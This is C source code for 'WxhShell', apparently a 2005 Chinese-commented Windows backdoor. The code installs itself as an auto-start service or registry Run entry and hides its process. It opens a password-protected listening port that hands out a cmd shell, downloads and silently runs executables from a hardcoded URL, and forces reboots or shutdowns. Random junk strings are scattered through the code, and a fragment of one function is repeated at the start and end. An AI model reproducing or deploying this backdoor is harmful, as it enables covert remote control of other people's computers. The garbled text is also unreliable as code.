s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _dVA^m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 69Q#UJ W>$mU&ew[ if (!NtQueryInformationProcess) return 0; uF@DJX}> !$0ozDmD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e$-Y>Dd if(!hProcess) return 0; "2
qivJ F,xFeq$/{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 239gpf]} ZY)&Fam} CloseHandle(hProcess); )%I62<N,z 1[(/{CClB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \2[ if(hProcess==NULL) return 0; qD(dAU 0w".o!2\U{ HMODULE hMod; {G-y7y+E char procName[255]; iB*1Yy0DC unsigned long cbNeeded; tIW~Ng j[$+hh3: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RAoY`AWI q:P44`Aq CloseHandle(hProcess); XNkZ^3mq .#Lu/w' -M if(strstr(procName,"services")) return 1; // 以服务启动 B|kIiL63
D q!) nSD return 0; // 注册表启动 A{wSO./3 } &bwI7cO eq4Yc*|9 // 主模块 M^y5 Dep int StartWxhshell(LPSTR lpCmdLine) ugQySg> { GOY!()F SOCKET wsl; 4#D>]AX BOOL val=TRUE; Z7=k$e int port=0; ! ?GW<Rh struct sockaddr_in door; LE+#%>z> 7eyx cr;z if(wscfg.ws_autoins) Install(); l\&Tw[O . L]!* port=atoi(lpCmdLine); L@~0`z:>iP B"Ttr+ if(port<=0) port=wscfg.ws_port; m$^v/pLkM ,z|g b]\ WSADATA data; tzG.)Uqs if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &BRi& &f =R||c if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }b]z+4Ua( setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~=c[?: door.sin_family = AF_INET; N'M+Z=!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); '8"$:y door.sin_port = htons(port); hWiBLip,z j7=x&)qbx if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x|A{|oFC closesocket(wsl); 6iJ\7 return 1; 'n7Ld6%1 } MOu= -h#9sl-> if(listen(wsl,2) == INVALID_SOCKET) { lm(k[]@ closesocket(wsl); V?-OI> return 1; -hP>;~*4 } ;c0z6E / Wxhshell(wsl); )C#b83 WSACleanup(); 1|H(q j<'ZO)q`Q return 0; Bpdx]5qfK Qg
gx: } gP>`DPgb^ f/%QMhM: // 以NT服务方式启动 nCdxn#| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
mI3
\n { f VpE&F DWORD status = 0; {h}e 9 DWORD specificError = 0xfffffff; Q1u/QA:z7 yxL(mt8 serviceStatus.dwServiceType = SERVICE_WIN32; HpR(DG)
? serviceStatus.dwCurrentState = SERVICE_START_PENDING; E9v_6d[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,(Nr_K serviceStatus.dwWin32ExitCode = 0; U<.,"`=l serviceStatus.dwServiceSpecificExitCode = 0; $g]'$PB serviceStatus.dwCheckPoint = 0; ])$Rw$`w serviceStatus.dwWaitHint = 0; %j2ZQ/z &265
B_'D hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N Uo if (hServiceStatusHandle==0) return; 4Y4QR[>IU3 n_MY69W status = GetLastError(); 9*j$U$:' if (status!=NO_ERROR) '(yjq< { 05/'qf7P,U serviceStatus.dwCurrentState = SERVICE_STOPPED; E@92hB4D" serviceStatus.dwCheckPoint = 0; z3Q#Wmv2 serviceStatus.dwWaitHint = 0;
@1O.; serviceStatus.dwWin32ExitCode = status; 45$FcK serviceStatus.dwServiceSpecificExitCode = specificError; si`h(VD9w SetServiceStatus(hServiceStatusHandle, &serviceStatus); )CUB7D)= return; /}#@uC } ;TTH #^eXnhj 9 serviceStatus.dwCurrentState = SERVICE_RUNNING; 2H2Yxe7? - serviceStatus.dwCheckPoint = 0; PNhxF C. serviceStatus.dwWaitHint = 0; [vyi_0[ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >}6V=r3[+ } 5 p! rZ \ 3HB // 处理NT服务事件,比如:启动、停止 zpBkP-%}E VOID WINAPI NTServiceHandler(DWORD fdwControl) ;A;FR3=) { "vN~7% switch(fdwControl) hYEUiQ { .GOF0puiM case SERVICE_CONTROL_STOP: Z<@dM2b) serviceStatus.dwWin32ExitCode = 0; /{*0
\`; serviceStatus.dwCurrentState = SERVICE_STOPPED; Eao^/MKx- serviceStatus.dwCheckPoint = 0; [7@9wa1v! serviceStatus.dwWaitHint = 0; !OL[1_-4|K { 1CpIK$/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); kNrN72qg } s>1Wjz2M return; IH$ZPux case SERVICE_CONTROL_PAUSE: qB8R4wCf serviceStatus.dwCurrentState = SERVICE_PAUSED; WHKe\8zWq break; ?)?}^ case SERVICE_CONTROL_CONTINUE: #Zt(g( T serviceStatus.dwCurrentState = SERVICE_RUNNING; e|S_B*1*0 break; iFkXt<_A case SERVICE_CONTROL_INTERROGATE: U)iq break; 4g^Xe- }; jltW@co2sV SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y;[+ ^J*a } vvmG46IgZ 6Us*zKgW // 标准应用程序主函数 U3b&/z|b? int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }?^5L7n { +X|^
~)tMJ "DsL$D2e // 获取操作系统版本 8q_"aa,` OsIsNt=GetOsVer(); (~OP)F). GetModuleFileName(NULL,ExeFile,MAX_PATH); n>\2_$uDI t?;\' // 从命令行安装 Dwg_#GSr if(strpbrk(lpCmdLine,"iI")) Install(); \:D"#s%x u;3wg`e // 下载执行文件 "z9 p(|oZ if(wscfg.ws_downexe) { #[ ?E, if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y';"tD Fb WinExec(wscfg.ws_filenam,SW_HIDE); K4K]oT } } za"rU c=#V*< if(!OsIsNt) { :oO
?A // 如果时win9x,隐藏进程并且设置为注册表启动 "1|\V.>>; HideProc(); O"V;otlC StartWxhshell(lpCmdLine); -0f,qNF } ZYo?b"6A else b>x03% if(StartFromService()) R8C#DB // 以服务方式启动 ()o[(Hx+ph StartServiceCtrlDispatcher(DispatchTable); `Tk GI0q else M~,N~ N1 // 普通方式启动 &"'Z)iWm StartWxhshell(lpCmdLine); uN+]q qCf "^NsbA+ return 0; Q]hl+C$d"/ } g`r4f%O /wT<p z[+Sb; ,4H/>yPw =========================================== H?cJ'Q,5 br%l>Y\" t+Au6/Dx? |*n
B2 fprP$MbI "X,*VQl: " /_qW?LKG/ W*r1Sy #include <stdio.h> p-XO4Pc6 #include <string.h> L25%KGg'o #include <windows.h> )18C(V-x #include <winsock2.h> ToX--w4 #include <winsvc.h> Jp"yb`w #include <urlmon.h> V_/.]zQA Y1R?,5 #pragma comment (lib, "Ws2_32.lib") Yan}H}Oq #pragma comment (lib, "urlmon.lib") 9Yd"Y- ;b_l/T( #define MAX_USER 100 // 最大客户端连接数 ?Sr7c|a2 #define BUF_SOCK 200 // sock buffer >PK 6CR #define KEY_BUFF 255 // 输入 buffer u\Y3h:@u H*HL:o-[ #define REBOOT 0 // 重启 qPoN 8>. #define SHUTDOWN 1 // 关机 bCqTubbx!t L30$ #define DEF_PORT 5000 // 监听端口 $8WWN} OC \>[k0< #define REG_LEN 16 // 注册表键长度 .,F`*JVFq #define SVC_LEN 80 // NT服务名长度 vEw8<<cgg M@+Pq/f: // 从dll定义API mI'&!@WG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -car>hQq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +t%1FkI\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EhAaaG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {"c`k4R c8LMvL // wxhshell配置信息 Vw]!Kb7tA struct WSCFG { eY[kUMo int ws_port; // 监听端口 j]C}S*`" char ws_passstr[REG_LEN]; // 口令 'P)c'uqd# int ws_autoins; // 安装标记, 1=yes 0=no X& mD/1 char ws_regname[REG_LEN]; // 注册表键名 \03ZE^H char ws_svcname[REG_LEN]; // 服务名 HZqk)sN char ws_svcdisp[SVC_LEN]; // 服务显示名 gY!?JZC-0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 {5]c\_. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 72 ZoN<c int ws_downexe; // 下载执行标记, 1=yes 0=no h"7~`!"~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XK&G `cJ[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -2'1KAk-W q_cP<2`@V }; 1my1m 0f#xyS 3 // default Wxhshell configuration ?Wc+
J4 struct WSCFG wscfg={DEF_PORT, [kf6bf@ "xuhuanlingzhe", 9yz@hdG 1, %n6NVi_[ "Wxhshell", /@B2-.w "Wxhshell", C5g9Gg "WxhShell Service", !
(Q[[M "Wrsky Windows CmdShell Service", $0k7W?tu "Please Input Your Password: ", lffw
" 1, X;n09 L`CB "http://www.wrsky.com/wxhshell.exe", 1,P\dGmu "Wxhshell.exe" Y#QXvo% }; C\4d.~C:w3 -^3uQa<zN^ // 消息定义模块 -lrcb/)Gz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k~F;G=P char *msg_ws_prompt="\n\r? for help\n\r#>"; UA|\D]xe char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z~F*$jn char *msg_ws_ext="\n\rExit."; U\(71= char *msg_ws_end="\n\rQuit."; +NbiUCMX char *msg_ws_boot="\n\rReboot..."; `hdN 6PgK char *msg_ws_poff="\n\rShutdown..."; />N# PF char *msg_ws_down="\n\rSave to "; EJ(36h
T%Bz >K char *msg_ws_err="\n\rErr!"; 8L+A&^qx char *msg_ws_ok="\n\rOK!"; y^z
c@f 1nw\?r2 char ExeFile[MAX_PATH]; TF9A4 int nUser = 0; 4/%Y@Z5 HANDLE handles[MAX_USER]; nRvaCAt^
int OsIsNt; CF
3V)3} mx#%oJnsi SERVICE_STATUS serviceStatus; mFeR~Bi>! SERVICE_STATUS_HANDLE hServiceStatusHandle; 5KP\ #Y OAD W;fj // 函数声明 Ot)S\s> int Install(void); G<*
Iw>ep int Uninstall(void); C1+f\A|9FP int DownloadFile(char *sURL, SOCKET wsh); .9N7` int Boot(int flag); #uF`|M$u void HideProc(void); ~KRS0^ int GetOsVer(void); KK6fRtKv>q int Wxhshell(SOCKET wsl); P*H0Hwn; void TalkWithClient(void *cs); 1$+8wDVwad int CmdShell(SOCKET sock); @+l=R| int StartFromService(void); J?EDz, int StartWxhshell(LPSTR lpCmdLine); 8t. QFze? I&m' a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o2'Wu:Y" VOID WINAPI NTServiceHandler( DWORD fdwControl ); _-3n'i8 0n'vF&E8
// 数据结构和表定义 }%z%}V@(& SERVICE_TABLE_ENTRY DispatchTable[] = ;>L8&m)R5 { 0ckmHv {wscfg.ws_svcname, NTServiceMain}, P@f#DX
) {NULL, NULL} "}wO<O6[ }; v K[%cA" Ctn
4q'Q // 自我安装 z:$ibk4#h int Install(void) )P>/g* { TEh.?
char svExeFile[MAX_PATH]; #4lIna%VX HKEY key; {z\K!=X/ strcpy(svExeFile,ExeFile); lZuH:AH -7]j[{?w // 如果是win9x系统,修改注册表设为自启动 YSB=nd_ if(!OsIsNt) { d^J)Mhju if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PZ`11#bbm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zj(V\y&H RegCloseKey(key); #]6{>n1*+w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yCA8/)>Gm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KGcjZx04! RegCloseKey(key); ~\AF\n% return 0; kiyc ^s } Ix}6%2\ } !><asaB]1 } +'-.c" else { vg5_@7 /s~S\dG // 如果是NT以上系统,安装为系统服务 EEnl' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /aMOZ=,q} if (schSCManager!=0) aWlIq(dU { hxK;f SC_HANDLE schService = CreateService \xbUr`WBY ( \hZ%NLj schSCManager, ZZ!">AN`^ wscfg.ws_svcname, 8I *N wscfg.ws_svcdisp, * m^\& SERVICE_ALL_ACCESS, vy*-"=J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yk)]aqic SERVICE_AUTO_START, DJ@n$G`^^ SERVICE_ERROR_NORMAL, Y#XRn_2D svExeFile, B~N3k NULL, F -,chp NULL, tV`=o$` NULL, W.?/p~ NULL, E "}@SaB- NULL ,!b<SQ5M ); |5tZ*$nGa if (schService!=0) (or"5}\6- { R6Ov CloseServiceHandle(schService); z-606g CloseServiceHandle(schSCManager); a!E22k?((z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C[G+SA1&W strcat(svExeFile,wscfg.ws_svcname); |Rz.Pt6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @anjjC5a~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O"+0 b| RegCloseKey(key); GaG>0x return 0; 8>,w8(Nt } `H6~<9r } 3>-h-
cpMX CloseServiceHandle(schSCManager); 0Zi+x#&d } &.\7='$F } >#x[qX =uH2+9. return 1; )/%5f{+} } G:":CX"O( 5EcVW|( // 自我卸载 UGI<V! int Uninstall(void) wuA?t { ~}}<+ JEEO HKEY key; :86:U 0^ nYjrEy)Q if(!OsIsNt) { e))L&s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3@Mh* \;\b RegDeleteValue(key,wscfg.ws_regname); {9U!0h-2" RegCloseKey(key); fk5'v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <[cpaZT, RegDeleteValue(key,wscfg.ws_regname); #mw!_]
RegCloseKey(key); @m9pb+=v return 0; q\?s<l63 } > 0MP[ } $TXxhd 6 } ovTL'j! else { p>`rTaeZg Iz09O:ER SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1xW!j!A; if (schSCManager!=0) B/1j4/MS { uLS]=:BT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fx5S2%f^ if (schService!=0) w}>%E6UY { B#Ybdp ; if(DeleteService(schService)!=0) { bTc>-e, CloseServiceHandle(schService); FnA Kfh( CloseServiceHandle(schSCManager); 6M*z`B{hV return 0; V|97; } C~qZ& CloseServiceHandle(schService); nc k/Dw } 1@}F8&EZ CloseServiceHandle(schSCManager); <|}Z6Ti } `Npa/Q } xo_STLAw T+}|$/Tv return 1; 'K ?h6?# } S)W xTE9 RW. qw4 // 从指定url下载文件 9efDM int DownloadFile(char *sURL, SOCKET wsh) 5-|!mSd { DQQ]grU HRESULT hr; 6DHK&<=D8 char seps[]= "/"; +?{"Q#.>; char *token; mrP48#Y+l char *file; @(sz " char myURL[MAX_PATH]; <eG| ` char myFILE[MAX_PATH]; f=F:Af! A*y4<'}< strcpy(myURL,sURL); 2d[q5p token=strtok(myURL,seps); L1SKOM$ while(token!=NULL) .KA-=$~J1 { [`\VgKeu file=token; AOR?2u token=strtok(NULL,seps); i<^X z } Y\]ZIvTSb k4K.
mlIO GetCurrentDirectory(MAX_PATH,myFILE); avRtYL strcat(myFILE, "\\"); cAW}a strcat(myFILE, file); Vke<; k- send(wsh,myFILE,strlen(myFILE),0); *(OG+OkC send(wsh,"...",3,0); dw"Es;^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oe|#!SM( if(hr==S_OK) `q*[fd1u. return 0; =OHX5:Z else kXwAw]ogN return 1; c4tw)O-X 9Y:I)^ek } 3x+lf4" ZbYC3_7w // 系统电源模块 E )_n?>Ar int Boot(int flag) }
{1IB { 6R n?pe^ HANDLE hToken; 90Ki.K 0 TOKEN_PRIVILEGES tkp; k:Pn.< gXdMGO> if(OsIsNt) { 0~qc,-)3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /mex{+p>tO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F06o-xH= tkp.PrivilegeCount = 1; @|b-X? ` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eP-|3$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |UXSUP
@s if(flag==REBOOT) { +F8{4^w1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z{rV|vQ return 0; 9eMle?pF } G"<#tif9K else { !?P8[K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /+Z*)q+SbT return 0; &u>dKf)5 } 3a?-UT! } -l= 4{^pK else { w|9 >4 if(flag==REBOOT) { "2cOS PpQL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FH,]' return 0; $tmdE)"& } 7iP+!e}$. else { o}rG:rhIh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cRT'?w`} return 0; -5<[oBL; } |R}=HsYey } >w
S'z]T9 k>($[;k|b return 1; Ehx9-*] } Tv=lr6t8 (7Z+ De? // win9x进程隐藏模块 `8!9Fp void HideProc(void) h=#w< @ { `B)@ _,J+b R+b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w2DC5ei' if ( hKernel != NULL ) b#_RZ { 2ioHhcYdJU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~>CvZ7K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +RooU?Aq FreeLibrary(hKernel); 7:jLZ!mgi } 7f>=-sv C"I
jr=w return; t(z]4y } 2&1mI>:F 2aYBcPFQh# // 获取操作系统版本 Scrj%h%[ int GetOsVer(void) xo[o^go { .t "VsY| OSVERSIONINFO winfo; ? o"
Vkc: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W"NI^OX GetVersionEx(&winfo); K[z)ts- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *] ihc u return 1; jWrU'X else X)b$CG return 0; P[3i!"O> } 25SWIpgG eAy,T<# // 客户端句柄模块 c{M
,K int Wxhshell(SOCKET wsl) >#]A2, { sO.MUj; SOCKET wsh; gm9*z.S\' struct sockaddr_in client; 0kE[=#'.' DWORD myID; i7Qb~RW KQ\K:# while(nUser<MAX_USER) .#( vx; { Q-<]'E#\( int nSize=sizeof(client); Kip&YB%rk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); luoQ#1F?sl if(wsh==INVALID_SOCKET) return 1; Aw#<: 6- _uIS[%4g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FZi@h if(handles[nUser]==0) g|~px$<iY closesocket(wsh); h( | T. else Z
[!"x&H]h nUser++; -#Z df| } 2K}49* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w!f2~j~ &;@L]
o return 0; "jL>P) } X*2W4udF cH5i420;aO // 关闭 socket f[o~d`z void CloseIt(SOCKET wsh) ',EI[
]+ { N~)-\T:ap closesocket(wsh); `zQuhD 8W nUser--; Y1PR?c
Q ExitThread(0); bzi"7%c } q`<vY'&1 <[dcIw<7 // 客户端请求句柄 & zDuh[j} void TalkWithClient(void *cs) f.6>6%l { dNe!X0[ ]C \+b< SOCKET wsh=(SOCKET)cs; )?rq8VO char pwd[SVC_LEN]; B>2R-pa4~ char cmd[KEY_BUFF]; ` Ig5*X4| char chr[1]; V*?cMJ_G int i,j; F^%w%E\ _b&|0j:Ud while (nUser < MAX_USER) { ~,)jZ-fw DDrR9}k if(wscfg.ws_passstr) { ]_s3<&R if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]1
f^ SxSI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dz }i-tw+ //ZeroMemory(pwd,KEY_BUFF); [ws
_ g,/ i=0; &N}"4 while(i<SVC_LEN) { e9LX0= ~`
tuPk~l // 设置超时 0Ui.nz j fd_set FdRead; $TUYxf0q struct timeval TimeOut; GHv6UIe& FD_ZERO(&FdRead);
x=*Y| FD_SET(wsh,&FdRead); F-,gj{s TimeOut.tv_sec=8; khy'Y&\F; TimeOut.tv_usec=0; NW\CEJV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5H3o?x if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w'@gzK Nv5^2^Sc= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'cO8& | pwd=chr[0]; p(F@lL- if(chr[0]==0xd || chr[0]==0xa) { b<W\#3~G pwd=0; JQQyl: = break; F.vRs|fk } 3&-rOc i++; ^to*ET{0 } PxKBcx4o` aT0~C.vT // 如果是非法用户,关闭 socket 2C
S9v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); un "I } LK'(OZ H{}&|;0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E*'Y xI send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zmu B}"R@;N while(1) { i%i~qTN opa/+V3E4 ZeroMemory(cmd,KEY_BUFF); yy3rh(ea ifn=De3+ // 自动支持客户端 telnet标准 zhJeTctRz j=0; PD&e6;rj; while(j<KEY_BUFF) { HoQb.Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YIe1AF} cmd[j]=chr[0]; ZF7@ b/-me if(chr[0]==0xa || chr[0]==0xd) { k3Yu"GY^ cmd[j]=0; 8qe[x\,"8 break; ?m)<kY } N#u'SGTG j++; 5EtR>Pc } =3(v4E':5 .tRm1&Qi // 下载文件 /?81Ypt if(strstr(cmd,"http://")) { ;.h /D4 send(wsh,msg_ws_down,strlen(msg_ws_down),0); NO5k1/- if(DownloadFile(cmd,wsh)) W2{w<<\$3} send(wsh,msg_ws_err,strlen(msg_ws_err),0); `EKf1U\FI else +`>7cy%cZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m>uG{4<- } Qa2h#0j else { #S7oW@ >LPb>t5%p switch(cmd[0]) { 5o6IpF0V hb3n-
rO // 帮助 k+_>`Gre} case '?': { O*N:A[eW send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ? 2}%Rb39 break; S?v/diK ]J } )G48,.
" // 安装 <)d%c%f'` case 'i': { "~Fg-{jM% if(Install()) "%T~d[M send(wsh,msg_ws_err,strlen(msg_ws_err),0); W ^<AUT else U5"u
h} 3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "kApGNB break; 8u*<GbKGI } z83v
J*. // 卸载 a?gF;AYk case 'r': { ~gX1n9_n if(Uninstall()) KR.;X3S} send(wsh,msg_ws_err,strlen(msg_ws_err),0); a
4?A 5 else kF1$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SS/vw% break; I[E 6N2 } b`e_}^,c // 显示 wxhshell 所在路径 Ug*B[q/ case 'p': { ~&~4{ char svExeFile[MAX_PATH]; c|<F8n strcpy(svExeFile,"\n\r"); QGNKQ`~ strcat(svExeFile,ExeFile); .vHHw@ send(wsh,svExeFile,strlen(svExeFile),0); |5flvkid break; >33=0< } HQ+{9Z8
?5 // 重启 L;:|bVH case 'b': { her>L3G-E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3nA^s"#p if(Boot(REBOOT)) #ed|0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); sm18u- else { jwwRejNV closesocket(wsh); 8R)K$J$Hm ExitThread(0); 2D!jVr! } 1XiA break; 6vNW)1{nn } (H:c80/V // 关机 }hy4EJ case 'd': { AYf}=t| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4`?PtRX if(Boot(SHUTDOWN)) 5 =;cN9M@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ts0j/A]Pi else { ]{=y8]7 closesocket(wsh); -gGw_w?)( ExitThread(0); M2%@bETJ } jNxTy UU break; =*fq5v } #GGa, @O // 获取shell xn, u$@F case 's': { <?A4/18K CmdShell(wsh); 7fqQ closesocket(wsh); <^nS%hXEr ExitThread(0); jA"}\^%3 break; qz-
tXc, } MXW1: // 退出 j~_iv~[ case 'x': { +aOevkY] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9o,Eqx4J CloseIt(wsh); 2:Yvr_L break; Zwq\m.h } emQc%wd{ // 离开 DWtITO> case 'q': { RV]#Bg*[# send(wsh,msg_ws_end,strlen(msg_ws_end),0); >-c?+oy closesocket(wsh); p+g=Z<?` WSACleanup(); }S iR;2W exit(1); glC,E> break; (?A
c`H } .]E"w9~ } iq3)}hGo } IS"[< 2lfEJw($ // 提示信息 M*k,M=sX if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VMABj\yG } Uic } aMu6{u6 gjsks(x return; e<+)IW: } E3a^"V3p ok6t|
7sq // shell模块句柄 Gt{%O>P8t int CmdShell(SOCKET sock) {_tq6ja-< { 0J?443AY STARTUPINFO si; ~_i=hx ZeroMemory(&si,sizeof(si)); ms3" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7x.j:{2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yVVyWte, PROCESS_INFORMATION ProcessInfo; 0(o2<d7 char cmdline[]="cmd"; J#:`'eEG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V9/2y9u return 0; ,#N}Ni: } ~NE`Ad.G 6
JI8l`S // 自身启动模式 /w?zO,! int StartFromService(void) KHP/Y{mH { !L+b{ typedef struct ~_0XG0oA { 2iKteJ@h) DWORD ExitStatus; E6R\DM DWORD PebBaseAddress; kJ%a;p`O DWORD AffinityMask; 4,@jSr|I3i DWORD BasePriority; pj7al; ULONG UniqueProcessId; +PBl3 ULONG InheritedFromUniqueProcessId; BNk >D|D; } PROCESS_BASIC_INFORMATION; S['rTuk 3 }sy{Mx%9 PROCNTQSIP NtQueryInformationProcess; DI(X B6 .|CoueH static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f#Ud=& >j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o5RvxGN x?rd9c HANDLE hProcess; /\qzTo PROCESS_BASIC_INFORMATION pbi; .Erv\lv* i{9.bpp/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % dtn*NU if(NULL == hInst ) return 0; qOmL\'8 h:7\S\|8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;>/Mal g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mS}.?[d" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1Z?uT[kR oNYFbZw if (!NtQueryInformationProcess) return 0; Vo[.^0 cSv;HN: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E3{kH
7_'\ if(!hProcess) return 0; Vug[q=i 'I}wN5` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H`k
